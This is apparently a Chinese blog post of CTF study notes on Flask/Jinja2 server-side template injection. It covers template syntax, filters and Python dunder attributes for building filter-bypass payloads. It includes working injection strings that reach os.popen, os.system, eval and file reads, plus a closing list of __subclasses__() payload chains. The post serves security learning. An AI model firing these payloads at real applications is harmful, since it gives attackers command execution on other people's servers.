前言 之前学的ssti注入看了一下只是停留在很表层的学习,感觉已经不能适应现在ctf的难度,故决定深入学习payload构造绕过的方式,掌握python编写语法:Flask/Jinja2
ssti注入步骤 确定模板类型——>选择对应注入语句
## Flask/Jingjia2 作为 web层面的攻击,我们要关注语言层面的特性和绕过Flask/Jinja2 模板的语法,filters和内建函数,变量,都可能称为绕过的trick 基本语法如下: - ``` {{ ... }}
for [Expressions](https://jinja.palletsprojects.com/en/2.11.x/templates/#expressions) 里面可以是一个表达式,如1+1,字符串等,支持调用对象的方法,会渲染结果
{% ... %}
- for [Statements](https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-control-structures) ,可以实现for,if等语句,还支持set语法,可以给变量赋值
这里的
{{}}
```
自然不必说,用来执行命令,{%%}我突然有了点感觉,他可以给变量赋值,这不就说明了我们使用拼凑法吗,就是先单独对每个过滤项进行赋值,然后将其拼接起来就行。
### 基础语法
#### 变量
应用把变量传递给模板,可以使用(.)来访问变量的属性,作为替代,也可以使用所谓的下标语法([])
``` {{foo.bar}} {{foo['bar']}} ```
#### 过滤器
变量可以通过过滤器修改。
过滤器与变量用**管道符号(|)分割**,并且也可以用圆括号传递可选参数。
**多个过滤器可以链式调用,前一个过滤器的输出会被作为后一个过滤器的输入。**
举例:
{{ name|striptags|title }} 会移除 name 中的所有 HTML 标签并且改写 为标题样式的大小写格式。过滤器接受带圆括号的参数,如同函数调用。这个例子会 把一个列表用逗号连接起来: {{ list|join(', ') }} 。 ``` #### 空白控制 默认配置中,模板引擎不会对空白做进一步修改,所以每个空白(空格、制表符、换行符 等等),配置了trim_blocks,模板标签后的第一个换行符会被自动移除 防止- 此外,你也可以手动剥离模板中的空白。当你在块(比如一个 for 标签、一段注释或变 量表达式)的开始或结束放置一个减号( `-` ),可以移除块前或块后的空白: **标签和减号之间不能有空白**
{% - if foo - %}...{% endif %} ```
#### 行语句
如果应用启用了行语句,就可以把一个行标记为一个语句。例如如果行语句前缀配置为#,下面的例子就是等价的。
<ul> # for item in seq <li>{{ item }}</li> # endfor </ul> <ul> {% for item in seq %} <li>{{ item }}</li> {% endfor %} </ul>
**PS:**1.若有未闭合的圆括号、花括号或方括号,行语句可以跨越多行:
# for href, caption in [('index.html', 'Index'), ('about.html', 'About')]:
**2.**##为行注释前缀,行中所有##之后的内容(不包括换行符)会被忽略:
#### 转义
1.当从模板中生成HTML时,变量可能包含影响已生成的HTML的字符。有两种解决方法:手动转义每个字符或默认自动转义所有的东西。 2.使用手动转义 转义通过用管道传递到过滤器|e来实现:
{{user.username|e}} ``` #### 过滤器 #### 赋值 在代码块中,你也可以为为变量赋值。在顶层的(块、宏、循环之间)赋值是可导出的,即可以从别的模板中导入。 赋值使用set标签,并且可以为多个变量赋值:
{% set navigation = [('index.html', 'Index'), ('about.html', 'About')] %} {% set key, value = call_something() %}
#### 表达式 jinjia中导入都允许使用基本表达式。这像常规的python一样工作。 #### 字面量 "HELLO": 双引号或单引号中间的一切都是字符串,无论何时你需要在模板中使用一个字符串(比如函数调用、过滤器或只是包含或继承一个模板的参数)。他们都是有用的。 42/42.23: 直接写下数值就可以创建整数和浮点数。如果有小数点,则为浮点数,否则为整数,在python中,42和42.0是不一样的 **dict:** python 中的字典是一种关联键和值的结构。键必须是唯一的,并且键必须只有一个值,字典在模板中很少使用,罕用于**xmlattr()**过滤器之类 **PS**所有的true和false都是小写的 #### 算式 - ``` Jinja 允许你用计算值。这在模板中很少用到,但是为了完整性允许其存在。支持下面的 运算符: - + 把两个对象加到一起。通常对象是素质,但是如果两者是字符串或列表,你可以用这 种方式来衔接它们。无论如何这不是首选的连接字符串的方式!连接字符串见 `~` 运算符。
`{{ 1 + 1 }}`
用第一个数减去第二个数。
`{{ 3 - 2 }}`
- 等于 `1` 。
- /
对两个数做除法。返回值会是一个浮点数。
`{{ 1 / 2 }}`
- 等于 `{{ 0.5 }}` 。
- //
对两个数做除法,返回整数商。 `{{ 20 // 7 }}` 等于 `2` 。
- %
计算整数除法的余数。 `{{ 11 % 7 }}` 等于 `4` 。
- *
用右边的数乘左边的操作数。 `{{ 2 * 2 }}` 会返回 `4` 。也可以用于重 复一个字符串多次。 `{{ ‘=’ * 80 }}` 会打印 80 个等号的横条。
- **
取左操作数的右操作数次幂。 `{{ 2**3 }}` 会返回 `8` 。
#### 比较 - ``` - == 比较两个对象是否相等。 - != 比较两个对象是否不等。 - > 如果左边大于右边,返回 true 。 - >= 如果左边大于等于右边,返回 true 。 - < 如果左边小于右边,返回 true 。 - <= 如果左边小于等于右边,返回 true 。
逻辑 对于 if 语句,在 for 过滤或 if 表达式中,它可以用于联合多个表达式: - and 如果左操作数和右操作数同为真,返回 true 。 - or 如果左操作数和右操作数有一个为真,返回 true 。 - not 对一个表达式取反(见下)。 - (expr) 表达式组。 提示
is` 和 `in` 运算符同样支持使用中缀记法: `foo is not bar` 和 `foo not in bar` 而不是 `not foo is bar` 和 `not foo in bar` 。所有的 其它表达式需要前缀记法 `not (foo and bar) ``` #### 其它运算符 - ``` 下面的运算符非常有用,但不适用于其它的两个分类: - in 运行序列/映射包含检查。如果左操作数包含于右操作数,返回 true 。比如 `{{ 1 in [1,2,3] }}` 会返回 true 。 - is 运行一个 [*测试*](http://docs.jinkan.org/docs/jinja2/templates.html#tests) 。 - |**重点** 应用一个 [*过滤器*](http://docs.jinkan.org/docs/jinja2/templates.html#filters) 。 - ~ 把所有的操作数转换为字符串,并且连接它们。 `{{ "Hello " ~ name ~ "!" }}` 会返回(假设 name 值为 `''John'` ) `Hello John!` 。 - () 调用一个可调用量:`{{ post.render() }}` 。在圆括号中,你可以像在 python 中一样使用位置参数和关键字参数: `{{ post.render(user, full=true) }}` 。 - #### . / [] 获取一个对象的属性。
内置过滤器清单 **abs(number):**返回参数的绝对值 **attr(obj,name):**获取对象的属性。foo|attr("bar")的工作方式类似于foo["bar"],只是总是返回一个属性,并且不查找任何项。 **join(value,d=u",attribute=None)**: 返回一个字符串,该字符串是系列中字符串的串联,元素之间的分隔符默认情况下是一个空字符串,您可以使用可选参数对其进行定义:
{{ [1, 2, 3]|join('|') }} -> 1|2|3 {{ [1, 2, 3]|join }} -> 123 ``` 并且可以连接对象的某些属性:
{{ users|join(', ', attribute='username') }} ``` **last(seq)**:返回序列最后的一个元素: **length(object):**返回序列中的项目数 **list(value):**将值转换为列表。如果是字符串,则返回的列表将是字符列表。 **random(seq):**从序列中返回一个随机项目 **select():**可以用来选择对象:
{{ numbers|select("odd") }} ``` **selectattr():** 这个可以用来选择需要的object
int():将值转换为int类型; float():将值转换为float类型; lower():将字符串转换为小写; upper():将字符串转换为大写; title():把值中的每个单词的首字母都转成大写; capitalize():把变量值的首字母转成大写,其余字母转小写; trim():截取字符串前面和后面的空白字符; wordcount():计算一个长字符串中单词的个数; reverse():字符串反转; replace(value,old,new): 替换将old替换为new的字符串; truncate(value,length=255,killwords=False):截取length长度的字符串; striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。 safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}}; list():将变量列成列表; string():将变量转换成字符串; join():将一个序列中的参数值拼接成字符串。示例看上面payload; abs():返回一个数值的绝对值; first():返回一个序列的第一个元素; last():返回一个序列的最后一个元素; format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo! length():返回一个序列或者字典的长度; sum():返回列表内数值的和; sort():返回排序后的列表; pop(): 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值,在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过 default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。 length()返回字符串的长度,别名是count ```
__class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量。 __doc__:使用docstrings,每个对象都有自己的.__doc__属性,调用__doc__即为调用其文档字符串 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} g {{g}}得到<flask.g of 'flask_ssti'>
参考:https://blog.csdn.net/xiaolong22333/article/details/114228433 http://ctf.ieki.xyz/library/ssti.html https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-builtin-filters
fuzz脚本结果(前辈整理) [].__class__.__base__.__subclasses__()[40].__init__.__globals__['os'].system('ls') [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls') "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('_ _import__("os").system("ls")') "".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('_ _import__("os").system("ls")') "".__class__.__mro__[-1].__subclasses__()[40](filename).read() "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")') ''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['sys'].modules['os'].popen('ls').read() ```